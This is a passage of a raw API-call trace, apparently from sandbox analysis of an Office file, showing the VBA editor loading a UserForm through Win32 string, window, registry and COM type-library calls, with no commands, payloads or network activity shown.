uID=0x4a7e, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="AddInsCommandWellMenu") returned 0x15 [0017.857] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a7f, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="WindowCommandWellMenu") returned 0x15 [0017.858] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a80, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="HelpCommandWellMenu") returned 0x13 [0017.858] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a81, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="AddOtherCommandMenu") returned 0x13 [0017.858] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a82, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="Built-in Menus") returned 0xe [0017.858] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a83, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="DocumentMenu") returned 0xc [0017.872] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4d4b, lpBuffer=0x263e72, cchBufferMax=255 | out: lpBuffer="Zoom") returned 0x4 [0017.873] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x2642b0 | out: lpPoint=0x2642b0) returned 1 [0017.873] CopyRect (in: lprcDst=0x2642b8, lprcSrc=0x264348 | out: lprcDst=0x2642b8) returned 1 [0017.873] OffsetRect (in: lprc=0x2642b8, dx=-8, dy=-30 | out: lprc=0x2642b8) returned 1 [0017.873] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x2642b0 | out: lpPoint=0x2642b0) returned 1 [0017.873] CopyRect (in: lprcDst=0x2642b8, lprcSrc=0x264348 | out: lprcDst=0x2642b8) returned 1 [0017.873] OffsetRect (in: lprc=0x2642b8, dx=-8, dy=-30 | out: lprc=0x2642b8) returned 1 [0017.873] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x264350 | out: lpPoint=0x264350) returned 1 [0017.873] CopyRect (in: lprcDst=0x264358, lprcSrc=0x2643e8 | out: lprcDst=0x264358) returned 1 [0017.873] OffsetRect (in: lprc=0x264358, dx=-8, dy=-30 | out: lprc=0x264358) returned 1 [0017.873] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x264210 | out: lpPoint=0x264210) returned 1 [0017.873] CopyRect (in: lprcDst=0x264218, lprcSrc=0x2642a8 | out: lprcDst=0x264218) returned 1 [0017.873] OffsetRect (in: lprc=0x264218, dx=-8, dy=-30 | out: lprc=0x264218) returned 1 [0017.873] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x264210 | out: lpPoint=0x264210) returned 1 [0017.873] CopyRect (in: lprcDst=0x264218, lprcSrc=0x2642a8 | out: lprcDst=0x264218) returned 1 [0017.873] OffsetRect (in: lprc=0x264218, dx=-8, dy=-30 | out: lprc=0x264218) returned 1 [0017.873] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x2642b0 | out: lpPoint=0x2642b0) returned 1 [0017.873] CopyRect (in: lprcDst=0x2642b8, lprcSrc=0x264348 | out: lprcDst=0x2642b8) returned 1 [0017.873] OffsetRect (in: lprc=0x2642b8, dx=-8, dy=-30 | out: lprc=0x2642b8) returned 1 [0017.873] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x264210 | out: lpPoint=0x264210) returned 1 [0017.873] CopyRect (in: lprcDst=0x264218, lprcSrc=0x2642a8 | out: lprcDst=0x264218) returned 1 [0017.873] OffsetRect (in: lprc=0x264218, dx=-8, dy=-30 | out: lprc=0x264218) returned 1 [0017.873] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x264210 | out: lpPoint=0x264210) returned 1 [0017.873] CopyRect (in: lprcDst=0x264218, lprcSrc=0x2642a8 | out: lprcDst=0x264218) returned 1 [0017.873] OffsetRect (in: lprc=0x264218, dx=-8, dy=-30 | out: lprc=0x264218) returned 1 [0017.873] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x264210 | out: lpPoint=0x264210) returned 1 [0017.873] CopyRect (in: lprcDst=0x264218, lprcSrc=0x2642a8 | out: lprcDst=0x264218) returned 1 [0017.873] OffsetRect (in: lprc=0x264218, dx=-8, dy=-30 | out: lprc=0x264218) returned 1 [0017.873] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x2642b0 | out: lpPoint=0x2642b0) returned 1 [0017.873] CopyRect (in: lprcDst=0x2642b8, lprcSrc=0x264348 | out: lprcDst=0x2642b8) returned 1 [0017.873] OffsetRect (in: lprc=0x2642b8, dx=-8, dy=-30 | out: lprc=0x2642b8) returned 1 [0017.873] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x264350 | out: lpPoint=0x264350) returned 1 [0017.873] CopyRect (in: lprcDst=0x264358, lprcSrc=0x2643e8 | out: lprcDst=0x264358) returned 1 [0017.873] OffsetRect (in: lprc=0x264358, dx=-8, dy=-30 | out: lprc=0x264358) returned 1 [0017.873] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x2643f0 | out: lpPoint=0x2643f0) returned 1 [0017.873] CopyRect (in: lprcDst=0x2643f8, lprcSrc=0x264488 | out: lprcDst=0x2643f8) returned 1 [0017.873] OffsetRect (in: lprc=0x2643f8, dx=-8, dy=-30 | out: lprc=0x2643f8) returned 1 [0017.875] CallWindowProcA (lpPrevWndFunc=0xffff013d, hWnd=0x10242, Msg=0x1328, wParam=0x0, lParam=0x263bf0) returned 0x0 [0017.876] CallWindowProcA (lpPrevWndFunc=0xffff013d, hWnd=0x10242, Msg=0x46, wParam=0x0, lParam=0x263b70) returned 0x0 [0017.876] CallWindowProcA (lpPrevWndFunc=0xffff013d, hWnd=0x10242, Msg=0x83, wParam=0x1, lParam=0x263b40) returned 0x0 [0017.876] CallWindowProcA (lpPrevWndFunc=0xffff013d, hWnd=0x10242, Msg=0x47, wParam=0x0, lParam=0x263b70) returned 0x0 [0017.876] CallWindowProcA (lpPrevWndFunc=0xffff013d, hWnd=0x10242, Msg=0x5, wParam=0x0, lParam=0x1d00b4) returned 0x0 [0017.878] ClientToScreen (in: hWnd=0x10256, lpPoint=0x2643b0 | out: lpPoint=0x2643b0) returned 1 [0017.878] CopyRect (in: lprcDst=0x2643b8, lprcSrc=0x264490 | out: lprcDst=0x2643b8) returned 1 [0017.878] OffsetRect (in: lprc=0x2643b8, dx=-33, dy=-370 | out: lprc=0x2643b8) returned 1 [0017.878] ClientToScreen (in: hWnd=0x10256, lpPoint=0x264350 | out: lpPoint=0x264350) returned 1 [0017.878] CopyRect (in: lprcDst=0x264358, lprcSrc=0x2643e8 | out: lprcDst=0x264358) returned 1 [0017.878] OffsetRect (in: lprc=0x264358, dx=-33, dy=-370 | out: lprc=0x264358) returned 1 [0017.878] ClientToScreen (in: hWnd=0x10256, lpPoint=0x264350 | out: lpPoint=0x264350) returned 1 [0017.878] CopyRect (in: lprcDst=0x264358, lprcSrc=0x2643e8 | out: lprcDst=0x264358) returned 1 [0017.878] OffsetRect (in: lprc=0x264358, dx=-33, dy=-370 | out: lprc=0x264358) returned 1 [0017.878] ClientToScreen (in: hWnd=0x10256, lpPoint=0x264350 | out: lpPoint=0x264350) returned 1 [0017.878] CopyRect (in: lprcDst=0x264358, lprcSrc=0x2643e8 | out: lprcDst=0x264358) returned 1 [0017.878] OffsetRect (in: lprc=0x264358, dx=-33, dy=-370 | out: lprc=0x264358) returned 1 [0017.878] ClientToScreen (in: hWnd=0x10256, lpPoint=0x2643f0 | out: lpPoint=0x2643f0) returned 1 [0017.878] CopyRect (in: lprcDst=0x2643f8, lprcSrc=0x264488 | out: lprcDst=0x2643f8) returned 1 [0017.878] OffsetRect (in: lprc=0x2643f8, dx=-33, dy=-370 | out: lprc=0x2643f8) returned 1 [0017.879] ClientToScreen (in: hWnd=0x10258, lpPoint=0x2643b0 | out: lpPoint=0x2643b0) returned 1 [0017.879] CopyRect (in: lprcDst=0x2643b8, lprcSrc=0x264490 | out: lprcDst=0x2643b8) returned 1 [0017.879] OffsetRect (in: lprc=0x2643b8, dx=-760, dy=-129 | out: lprc=0x2643b8) returned 1 [0017.879] ClientToScreen (in: hWnd=0x10258, lpPoint=0x2643f0 | out: lpPoint=0x2643f0) returned 1 [0017.879] CopyRect (in: lprcDst=0x2643f8, lprcSrc=0x264488 | out: lprcDst=0x2643f8) returned 1 [0017.879] OffsetRect (in: lprc=0x2643f8, dx=-760, dy=-129 | out: lprc=0x2643f8) returned 1 [0017.879] ClientToScreen (in: hWnd=0x1025a, lpPoint=0x2643b0 | out: lpPoint=0x2643b0) returned 1 [0017.879] CopyRect (in: lprcDst=0x2643b8, lprcSrc=0x264490 | out: lprcDst=0x2643b8) returned 1 [0017.879] OffsetRect (in: lprc=0x2643b8, dx=-89, dy=-560 | out: lprc=0x2643b8) returned 1 [0017.879] ClientToScreen (in: hWnd=0x1025a, lpPoint=0x2643f0 | out: lpPoint=0x2643f0) returned 1 [0017.880] CopyRect (in: lprcDst=0x2643f8, lprcSrc=0x264488 | out: lprcDst=0x2643f8) returned 1 [0017.880] OffsetRect (in: lprc=0x2643f8, dx=-89, dy=-560 | out: lprc=0x2643f8) returned 1 [0017.880] ClientToScreen (in: hWnd=0x1025c, lpPoint=0x2643b0 | out: lpPoint=0x2643b0) returned 1 [0017.880] CopyRect (in: lprcDst=0x2643b8, lprcSrc=0x264490 | out: lprcDst=0x2643b8) returned 1 [0017.880] OffsetRect (in: lprc=0x2643b8, dx=-826, dy=-188 | out: lprc=0x2643b8) returned 1 [0017.880] ClientToScreen (in: hWnd=0x1025c, lpPoint=0x2643f0 | out: lpPoint=0x2643f0) returned 1 [0017.880] CopyRect (in: lprcDst=0x2643f8, lprcSrc=0x264488 | out: lprcDst=0x2643f8) returned 1 [0017.880] OffsetRect (in: lprc=0x2643f8, dx=-826, dy=-188 | out: lprc=0x2643f8) returned 1 [0017.881] lstrlenA (lpString="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB") returned 73 [0017.881] lstrcpyA (in: lpString1=0x1c57c70, lpString2="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB") returned="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB" [0017.900] IUnknown:AddRef (This=0x747ada0) returned 0x2 [0017.900] ITypeLib:GetTypeInfoOfGuid (in: This=0x747ada0, GUID=0x7fef41d70a8, ppTInfo=0x1c57c98 | out: ppTInfo=0x1c57c98*=0x75966f8) returned 0x0 [0017.900] IUnknown:Release (This=0x747ada0) returned 0x2 [0017.900] IUnknown:AddRef (This=0x747ada0) returned 0x3 [0017.901] IUnknown:AddRef (This=0x747ada0) returned 0x4 [0017.901] ITypeLib:GetTypeInfoOfGuid (in: This=0x747ada0, GUID=0x7fef41d87d8, ppTInfo=0x1c57d18 | out: ppTInfo=0x1c57d18*=0x7596858) returned 0x0 [0017.901] IUnknown:Release (This=0x747ada0) returned 0x4 [0017.901] IUnknown:AddRef (This=0x747ada0) returned 0x5 [0017.901] ITypeLib:GetTypeInfoOfGuid (in: This=0x747ada0, GUID=0x7fef41d8818, ppTInfo=0x1c57da8 | out: ppTInfo=0x1c57da8*=0x7596908) returned 0x0 [0017.901] IUnknown:Release (This=0x747ada0) returned 0x5 [0017.901] IUnknown:AddRef (This=0x747ada0) returned 0x6 [0017.901] ITypeLib:GetTypeInfoOfGuid (in: This=0x747ada0, GUID=0x7fef41d87f8, ppTInfo=0x1c57ec0 | out: ppTInfo=0x1c57ec0*=0x75969b8) returned 0x0 [0017.901] IUnknown:Release (This=0x747ada0) returned 0x6 [0017.901] IUnknown:AddRef (This=0x747ada0) returned 0x7 [0017.901] ITypeLib:GetTypeInfoOfGuid (in: This=0x747ada0, GUID=0x7fef41d65f8, ppTInfo=0x1c57f48 | out: ppTInfo=0x1c57f48*=0x7596a68) returned 0x0 [0017.901] IUnknown:Release (This=0x747ada0) returned 0x7 [0017.902] lstrcpyA (in: lpString1=0x264550, lpString2="" | out: lpString1="") returned="" [0017.902] lstrlenA (lpString="") returned 0 [0017.902] MonitorFromWindow (hwnd=0x1022e, dwFlags=0x2) returned 0x10001 [0017.902] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x264498 | out: lpmi=0x264498) returned 1 [0017.902] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x264480 | out: lpBuffer="C:\\Users\\aDU0VK IWA5kLS\\Desktop") returned 0x1f [0017.902] IUnknown:AddRef (This=0x747ada0) returned 0x8 [0017.902] ITypeLib:GetTypeInfoOfGuid (in: This=0x747ada0, GUID=0x7fef41d87e8, ppTInfo=0x1c580d8 | out: ppTInfo=0x1c580d8*=0x7596b18) returned 0x0 [0017.902] IUnknown:Release (This=0x747ada0) returned 0x8 [0017.903] IUnknown:AddRef (This=0x747ada0) returned 0x9 [0017.903] ITypeLib:GetTypeInfoOfGuid (in: This=0x747ada0, GUID=0x7fef41d8808, ppTInfo=0x1c58148 | out: ppTInfo=0x1c58148*=0x7596bc8) returned 0x0 [0017.903] IUnknown:Release (This=0x747ada0) returned 0x9 [0017.903] IUnknown:AddRef (This=0x747ada0) returned 0xa [0017.903] ITypeLib:GetTypeInfoOfGuid (in: This=0x747ada0, GUID=0x7fef41d87e8, ppTInfo=0x1c581a8 | out: ppTInfo=0x1c581a8*=0x7596b18) returned 0x0 [0017.903] IUnknown:Release (This=0x747ada0) returned 0xa [0017.903] IUnknown:AddRef (This=0x747ada0) returned 0xb [0017.903] ITypeLib:GetTypeInfoOfGuid (in: This=0x747ada0, GUID=0x7fef41d87e8, ppTInfo=0x1c58218 | out: ppTInfo=0x1c58218*=0x7596b18) returned 0x0 [0017.903] IUnknown:Release (This=0x747ada0) returned 0xb [0017.903] IUnknown:AddRef (This=0x747ada0) returned 0xc [0017.903] ITypeLib:GetTypeInfoOfGuid (in: This=0x747ada0, GUID=0x7fef41d87e8, ppTInfo=0x1c58288 | out: ppTInfo=0x1c58288*=0x7596b18) returned 0x0 [0017.903] IUnknown:Release (This=0x747ada0) returned 0xc [0017.903] IUnknown:AddRef (This=0x747ada0) returned 0xd [0017.903] ITypeLib:GetTypeInfoOfGuid (in: This=0x747ada0, GUID=0x7fef41d87e8, ppTInfo=0x1c582f8 | out: ppTInfo=0x1c582f8*=0x7596b18) returned 0x0 [0017.903] IUnknown:Release (This=0x747ada0) returned 0xd [0017.903] IUnknown:AddRef (This=0x747ada0) returned 0xe [0017.903] ITypeLib:GetTypeInfoOfGuid (in: This=0x747ada0, GUID=0x7fef41d87e8, ppTInfo=0x1c58368 | out: ppTInfo=0x1c58368*=0x7596b18) returned 0x0 [0017.903] IUnknown:Release (This=0x747ada0) returned 0xe [0017.903] IUnknown:AddRef (This=0x747ada0) returned 0xf [0017.903] ITypeLib:GetTypeInfoOfGuid (in: This=0x747ada0, GUID=0x7fef41d87e8, ppTInfo=0x1c58408 | out: ppTInfo=0x1c58408*=0x7596b18) returned 0x0 [0017.903] IUnknown:Release (This=0x747ada0) returned 0xf [0017.904] IUnknown:AddRef (This=0x747ada0) returned 0x10 [0017.904] ITypeLib:GetTypeInfoOfGuid (in: This=0x747ada0, GUID=0x7fef41d87e8, ppTInfo=0x1c58478 | out: ppTInfo=0x1c58478*=0x7596b18) returned 0x0 [0017.904] IUnknown:Release (This=0x747ada0) returned 0x10 [0017.904] GetFocus () returned 0x20206 [0017.904] GetCurrentThreadId () returned 0x938 [0017.904] GetCurrentThreadId () returned 0x938 [0017.904] GetCurrentThreadId () returned 0x938 [0017.904] GetCurrentThreadId () returned 0x938 [0017.904] GetCurrentThreadId () returned 0x938 [0017.904] CExposedStream::Commit () returned 0x0 [0017.904] CExposedStream::Release () returned 0x0 [0017.904] GlobalHandle (pMem=0x6dafa90) returned 0x5080078 [0017.904] GlobalUnlock (hMem=0x5080078) returned 0 [0017.904] CExposedDocFile::Stat () returned 0x0 [0017.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x16e92c, cbMultiByte=-1, lpWideCharStr=0x2642e0, cchWideChar=9 | out: lpWideCharStr="\x03VBFrame") returned 9 [0017.904] CExposedDocFile::OpenStream () returned 0x0 [0017.905] CExposedStream::Stat () returned 0x0 [0017.905] GlobalLock (hMem=0x5080078) returned 0x6dafa90 [0017.905] GlobalSize (hMem=0x5080078) returned 0x200 [0017.905] CExposedStream::Read () returned 0x0 [0017.905] SetCursor (hCursor=0x10007) returned 0x10007 [0017.911] GetCurrentThreadId () returned 0x938 [0017.911] GetCurrentThreadId () returned 0x938 [0017.911] lstrcmpiA (lpString1="VERSION", lpString2="VERSION") returned 0 [0017.911] lstrcmpiA (lpString1="Begin", lpString2="Begin") returned 0 [0017.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef4205d40, cbMultiByte=-1, lpWideCharStr=0x2642b0, cchWideChar=39 | out: lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 39 [0017.912] CLSIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", pclsid=0x264338 | out: pclsid=0x264338*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0017.912] GetCurrentThreadId () returned 0x938 [0017.912] lstrcpynA (in: lpString1=0x2641e0, lpString2="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", iMaxLength=256 | out: lpString1="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}" [0017.912] lstrcpynA (in: lpString1=0x2640e0, lpString2="modernization", iMaxLength=256 | out: lpString1="modernization") returned="modernization" [0017.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2641e0, cbMultiByte=-1, lpWideCharStr=0x263fb0, cchWideChar=39 | out: lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 39 [0017.912] CLSIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", pclsid=0x264010 | out: pclsid=0x264010*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0017.912] StringFromGUID2 (in: rguid=0x264010*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f)), lpsz=0x743eeb8, cchMax=256 | out: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 39 [0017.912] wsprintfA (in: param_1=0x263c70, param_2="%s%s%s%s%s" | out: param_1="Clsid\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\Instance CLSID") returned 59 [0017.912] RegQueryValueA (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\Instance CLSID", lpData=0x263b70, lpcbData=0x263b60 | out: lpData="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", lpcbData=0x263b60) returned 0x2 [0017.912] InvalidateRect (hWnd=0x10238, lpRect=0x0, bErase=0) returned 1 [0017.912] lstrlenA (lpString="modernization") returned 13 [0017.912] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="modernization") returned 0x10e832 [0017.916] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 0x10a0c6 [0017.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2641e0, cbMultiByte=-1, lpWideCharStr=0x263fe0, cchWideChar=39 | out: lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 39 [0017.916] IIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", lpiid=0x264030 | out: lpiid=0x264030) returned 0x0 [0017.916] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 0x10a0c6 [0017.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2641e0, cbMultiByte=-1, lpWideCharStr=0x263f70, cchWideChar=39 | out: lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 39 [0017.916] IIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", lpiid=0x263fc0 | out: lpiid=0x263fc0) returned 0x0 [0017.916] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="modernization") returned 0x10e832 [0017.916] GetCurrentThreadId () returned 0x938 [0017.916] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Caption") returned 0x107810 [0017.916] lstrcmpiA (lpString1="Caption", lpString2="Caption") returned 0 [0017.916] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ClientHeight") returned 0x107da9 [0017.917] lstrcmpiA (lpString1="ClientHeight", lpString2="ClientHeight") returned 0 [0017.919] atof (_String="420") returned 0x1612f0 [0017.919] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ClientLeft") returned 0x104925 [0017.919] lstrcmpiA (lpString1="ClientLeft", lpString2="ClientLeft") returned 0 [0017.919] atof (_String="45") returned 0x1612f0 [0017.919] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ClientTop") returned 0x109869 [0017.919] lstrcmpiA (lpString1="ClientTop", lpString2="ClientTop") returned 0 [0017.919] atof (_String="375") returned 0x1612f0 [0017.919] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ClientWidth") returned 0x1028e4 [0017.919] lstrcmpiA (lpString1="ClientWidth", lpString2="ClientWidth") returned 0 [0017.919] atof (_String="3795") returned 0x1612f0 [0017.919] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="StartUpPosition") returned 0x10fb67 [0017.920] lstrcmpiA (lpString1="StartUpPosition", lpString2="StartUpPosition") returned 0 [0017.920] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="TypeInfoVer") returned 0x107334 [0017.920] lstrcmpiA (lpString1="TypeInfoVer", lpString2="TypeInfoVer") returned 0 [0017.920] lstrlenA (lpString="cosmographer") returned 12 [0017.923] CopyRect (in: lprcDst=0x16e7a0, lprcSrc=0x263afc | out: lprcDst=0x16e7a0) returned 1 [0017.923] IUnknown:AddRef (This=0x747ada0) returned 0x11 [0017.924] ITypeLib:GetTypeInfoOfGuid (in: This=0x747ada0, GUID=0x7fef41d87e8, ppTInfo=0x1c58558 | out: ppTInfo=0x1c58558*=0x7596b18) returned 0x0 [0017.924] IUnknown:Release (This=0x747ada0) returned 0x11 [0017.924] IsChild (hWndParent=0x10230, hWnd=0x1025e) returned 1 [0017.924] lstrlenA (lpString="Thunder") returned 7 [0017.924] lstrcpyA (in: lpString1=0x263d10, lpString2="Thunder" | out: lpString1="Thunder") returned="Thunder" [0017.924] lstrlenA (lpString="Thunder") returned 7 [0017.924] lstrcpyA (in: lpString1=0x263be0, lpString2="Thunder" | out: lpString1="Thunder") returned="Thunder" [0017.924] GetClassInfoA (in: hInstance=0x7fef3f10000, lpClassName="ThunderDFrame", lpWndClass=0x263b90 | out: lpWndClass=0x263b90) returned 0 [0017.924] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0017.924] AdjustWindowRectEx (in: lpRect=0x263cc0, dwStyle=0x44c80080, bMenu=0, dwExStyle=0x40001 | out: lpRect=0x263cc0) returned 1 [0017.924] MonitorFromWindow (hwnd=0x1022e, dwFlags=0x2) returned 0x10001 [0017.924] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x263ce0 | out: lpmi=0x263ce0) returned 1 [0017.924] NtdllDefWindowProc_A (hWnd=0x10260, Msg=0x81, wParam=0x0, lParam=0x263600) returned 0x1 [0017.924] NtdllDefWindowProc_A (hWnd=0x10260, Msg=0x83, wParam=0x0, lParam=0x263650) returned 0x0 [0017.925] NtdllDefWindowProc_A (hWnd=0x10260, Msg=0x1, wParam=0x0, lParam=0x2635e0) returned 0x0 [0017.925] NtdllDefWindowProc_A (hWnd=0x10260, Msg=0x5, wParam=0x0, lParam=0x1c00fd) returned 0x0 [0017.925] IsZoomed (hWnd=0x10260) returned 0 [0017.925] NtdllDefWindowProc_A (hWnd=0x10260, Msg=0x3, wParam=0x0, lParam=0x25000f) returned 0x0 [0017.925] CoGetClassObject (in: rclsid=0x16f638*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f)), dwClsContext=0x3, pvReserved=0x0, riid=0x7fef41e71b8*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x2642d0 | out: ppv=0x2642d0*=0x7fef3e68338) returned 0x0 [0017.925] UserForm:IClassFactory:CreateInstance (in: This=0x7fef3e68338, pUnkOuter=0x0, riid=0x7fef41be080*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c5c6f0 | out: ppvObject=0x1c5c6f0*=0x4f5a150) returned 0x0 [0017.942] UserForm:IUnknown:AddRef (This=0x7fef3e68338) returned 0x1 [0017.942] UserForm:IClassFactory:LockServer (This=0x7fef3e68338, fLock=1) returned 0x0 [0017.942] UserForm:IUnknown:Release (This=0x7fef3e68338) returned 0x1 [0017.942] IUnknown:QueryInterface (in: This=0x4f5a150, riid=0x7fef41e70f8*(Data1=0xcf51ed10, Data2=0x62fe, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x86, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x3, [6]=0x48, [7]=0x36)), ppvObject=0x264230 | out: ppvObject=0x264230*=0x6f82f00) returned 0x0 [0017.959] MulDiv (nNumber=2540, nNumerator=8, nDenominator=96) returned 212 [0017.959] MulDiv (nNumber=2540, nNumerator=8, nDenominator=96) returned 212 [0017.959] IUnknown:QueryInterface (in: This=0x4f5a150, riid=0x7fef41e7018*(Data1=0xb196b288, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x2641f0 | out: ppvObject=0x2641f0*=0x6f76b40) returned 0x0 [0017.959] IUnknown:QueryInterface (in: This=0x4f5a150, riid=0x7fef41cd9b8*(Data1=0x10a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264158 | out: ppvObject=0x264158*=0x6f76b40) returned 0x0 [0017.959] CExposedDocFile::AddRef () returned 0x2 [0017.959] CExposedDocFile::AddRef () returned 0x3 [0017.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420b04c, cbMultiByte=-1, lpWideCharStr=0x2622c0, cchWideChar=7 | out: lpWideCharStr="Tahoma") returned 7 [0017.981] OleCreateFontIndirect () returned 0x0 [0017.982] OleCreateFontIndirect () returned 0x0 [0017.993] CExposedDocFile::Release () returned 0x3 [0017.993] IUnknown:QueryInterface (in: This=0x4f5a150, riid=0x7fef41dfb70*(Data1=0x5efc7970, Data2=0x14bc, Data3=0x11cf, Data4=([0]=0x9b, [1]=0x2b, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x38, [7]=0x19)), ppvObject=0x1c5c748 | out: ppvObject=0x1c5c748*=0x6f82f00) returned 0x0 [0017.993] IUnknown:QueryInterface (in: This=0x4f5a150, riid=0x7fef41be0a0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264330 | out: ppvObject=0x264330*=0x4f5a1d8) returned 0x0 [0017.999] IUnknown:QueryInterface (in: This=0x4f5a150, riid=0x7fef41be0a0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264330 | out: ppvObject=0x264330*=0x4f5a1d8) returned 0x0 [0018.000] GetWindowLongA (hWnd=0x10260, nIndex=-20) returned 262401 [0018.000] SetWindowLongA (hWnd=0x10260, nIndex=-20, dwNewLong=262401) returned 262401 [0018.000] NtdllDefWindowProc_A (hWnd=0x10260, Msg=0x7c, wParam=0xffffffffffffffec, lParam=0x2642e0) returned 0x0 [0018.000] NtdllDefWindowProc_A (hWnd=0x10260, Msg=0x7d, wParam=0xffffffffffffffec, lParam=0x2642e0) returned 0x0 [0018.000] NtdllDefWindowProc_A (hWnd=0x10260, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0018.000] NtdllDefWindowProc_A (hWnd=0x10260, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 